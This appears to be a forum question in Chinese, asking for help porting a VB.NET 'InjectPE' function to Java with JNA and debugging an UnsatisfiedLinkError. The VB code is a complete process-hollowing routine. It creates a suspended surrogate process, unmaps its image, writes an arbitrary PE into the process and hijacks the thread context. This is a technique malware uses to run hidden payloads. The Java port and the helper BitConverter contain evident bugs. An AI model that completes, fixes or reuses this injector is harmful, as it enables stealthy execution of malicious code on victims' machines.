我正在尝试将此 VB 代码转换为 Java:
Public Shared Function InjectPE(ByVal bytes As Byte(), ByVal surrogateProcess As String) As Boolean
Try
Dim procAttr As IntPtr = IntPtr.Zero
Dim processInfo As IntPtr() = New IntPtr(3) {}
Dim startupInfo As Byte() = New Byte(67) {}
Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)
Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)
Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))
If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _
procAttr, Nothing, startupInfo, processInfo) Then
Dim ctxt As UInteger() = New UInteger(178) {}
ctxt(0) = &H10002
If GetThreadContext(processInfo(1), ctxt) Then
Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)
Dim buffer__1 As IntPtr = IntPtr.Zero
Dim bufferSize As New IntPtr(4)
Dim numRead As IntPtr = IntPtr.Zero
If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then
Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))
Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))
Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40)
Dim lpNumberOfBytesWritten As Integer
WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)
Dim num5 As Integer = num - 1
For i As Integer = 0 To num5
Dim dst As Integer() = New Integer(9) {}
Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40)
Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)
size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))
addr = New IntPtr(buffer2.Length)
WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)
Next
size = New IntPtr(ctxt(&H29) + 8L)
addr = New IntPtr(4)
WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten)
ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))
SetThreadContext(processInfo(1), ctxt)
End If
End If
ResumeThread(processInfo(1))
End If
Catch
Return False
End Try
Return True
End Function
我先写了原生调用接口。
内核32
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
public interface Kernel32 extends StdCallLibrary {
boolean CreateProcess(String appName, String commandLine,
IntByReference procAttr, IntByReference thrAttr, boolean inherit,
int creation, IntByReference env, String curDir, byte[] sInfo,
IntByReference[] pInfo);
boolean GetThreadContext(IntByReference hThr, int[] ctxt);
boolean ReadProcessMemory(IntByReference hProc, IntByReference baseAddr,
IntByReference bufr, int bufrSize, IntByReference numRead);
int ResumeThread(IntByReference hThread);
boolean SetThreadContext(IntByReference hThr, int[] ctxt);
IntByReference VirtualAllocEx(IntByReference hProc, IntByReference addr,
IntByReference size, int allocType, int prot);
boolean VirtualProtectEx(IntByReference hProcess, IntByReference lpAddress,
IntByReference dwSize, int flNewProtect, int lpflOoldProtect);
boolean WriteProcessMemory(IntByReference hProcess,
IntByReference lpBaseAddress, byte[] lpBuffer, int nSize,
int lpNumberOfBytesWritten);
}
NtDLL
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
public interface NtDll extends StdCallLibrary {
int NtUnmapViewOfSection(IntByReference hProc, IntByReference baseAddr);
}
写完调用接口后,我继续翻译函数。我看到我需要一个等效的BitConverter ,所以我写了一个。
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
public final class BitConverter {
public static byte[] getBytes(int value) {
ByteBuffer buffer = ByteBuffer.allocate(4).order(
ByteOrder.nativeOrder());
buffer.putInt(value);
return buffer.array();
}
public static short toInt16(byte[] bytes, int index) {
if (bytes.length != 8)
return -1;
return (short) ((0xff & bytes[index]) << 8 | (0xff & bytes[index + 1]) << 0);
}
public static int toInt32(byte[] bytes, int index) {
if (bytes.length != 4)
return -1;
return (int) ((int) (0xff & bytes[index]) << 56
| (int) (0xff & bytes[index + 1]) << 48
| (int) (0xff & bytes[index + 2]) << 40 | (int) (0xff & bytes[index + 3]) << 32);
}
}
现在我已经准备好编写函数了。我想出了这个:
public static boolean injectPE(Kernel32 kernel, NtDll ntdll, String process,
byte[] bytes) {
IntByReference procAttr = new IntByReference(0);
IntByReference[] processInfo = new IntByReference[3];
byte[] startupInfo = new byte[67];
int num2 = BitConverter.toInt32(bytes, 60);
int num = BitConverter.toInt16(bytes, num2 + 6);
IntByReference ptr4 = new IntByReference(BitConverter.toInt32(bytes,
num2 + 0x54));
if (kernel.CreateProcess(null, process, procAttr, procAttr, false, 4,
procAttr, null, startupInfo, processInfo)) {
int[] ctxt = new int[178];
ctxt[0] = 0x10002;
if (kernel.GetThreadContext(processInfo[1], ctxt)) {
IntByReference baseAddr = new IntByReference(ctxt[0x29] + 8);
IntByReference buffer__1 = new IntByReference(0);
IntByReference bufferSize = new IntByReference(4);
IntByReference numRead = new IntByReference(0);
if (kernel.ReadProcessMemory(processInfo[0], baseAddr,
buffer__1, bufferSize.getValue(), numRead)
&& ntdll.NtUnmapViewOfSection(processInfo[0], buffer__1) == 0) {
IntByReference addr = new IntByReference(
BitConverter.toInt32(bytes, num2 + 0x34));
IntByReference size = new IntByReference(
BitConverter.toInt32(bytes, num2 + 80));
IntByReference lpBaseAddress = kernel.VirtualAllocEx(
processInfo[0], addr, size, 0x3000, 0x40);
int lpNumberOfBytesWritten = 0;
kernel.WriteProcessMemory(processInfo[0], lpBaseAddress,
bytes, ptr4.getValue(), lpNumberOfBytesWritten);
int num5 = num - 1;
for (int i = 0; i <= num5; i++) {
int[] dst = new int[9];
System.arraycopy(bytes, (num2 + 0xF8) + (i * 40), dst,
0, 40);
byte[] buffer2 = new byte[dst[4] - 1];
System.arraycopy(bytes, dst[5], buffer2, 0,
buffer2.length);
size = new IntByReference(lpBaseAddress.getValue()
+ dst[3]);
addr = new IntByReference(buffer2.length);
kernel.WriteProcessMemory(processInfo[0], size,
buffer2, addr.getValue(),
lpNumberOfBytesWritten);
}
size = new IntByReference(ctxt[0x29] + 8);
addr = new IntByReference(4);
kernel.WriteProcessMemory(processInfo[0], size,
BitConverter.getBytes(lpBaseAddress.getValue()),
addr.getValue(), lpNumberOfBytesWritten);
ctxt[0x2C] = lpBaseAddress.getValue()
+ BitConverter.toInt32(bytes, num2 + 40);
kernel.SetThreadContext(processInfo[1], ctxt);
}
}
kernel.ResumeThread(processInfo[1]);
return true;
}
return false;
}
我遇到的问题是,当我运行测试时出现此错误:
Exception in thread "main" java.lang.UnsatisfiedLinkError: Error looking up function 'CreateProcess': The specified procedure could not be found.
我不知道如何诊断 JNA 错误,所以我被困在这一点上。非常感谢您对此的任何帮助以及其他方面的帮助。谢谢!